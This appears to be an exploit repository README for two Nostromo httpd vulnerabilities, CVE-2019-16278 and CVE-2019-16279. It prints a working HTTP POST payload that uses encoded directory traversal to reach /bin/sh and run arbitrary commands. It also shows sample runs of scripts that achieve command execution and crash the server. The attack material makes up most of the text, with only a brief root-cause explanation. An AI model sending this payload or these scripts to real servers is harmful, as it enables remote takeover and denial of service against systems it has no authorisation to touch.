godepic / cve-2019-16278

Directory transversal to remote code execution

Exploits for CVE-2019-16278 and CVE-2019-16279

Nostromo httpd is prone to 2 cricital vulnerabilities for versions <= 1.9.6 (0day =]) first one is an RCE through directory transversal, second one is a DoS

CVE-2019-16278 - Directory transversal to remote code execution

POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Length: 25

echo
echo
ifconfig 2>&1

This bug is due to an incomplete fix for CVE-2011-0751. We can bypass a check for /../ which allows us to execute /bin/sh with arbitrary arguments.

Example

$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)

CVE-2019-16279 - Denial of Service

This bug exploit a memory error when sending too many \r\n in a single connexion.

Example

$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused

参考链接：

https://git.sp0re.sh/sp0re/Nhttpd-exploits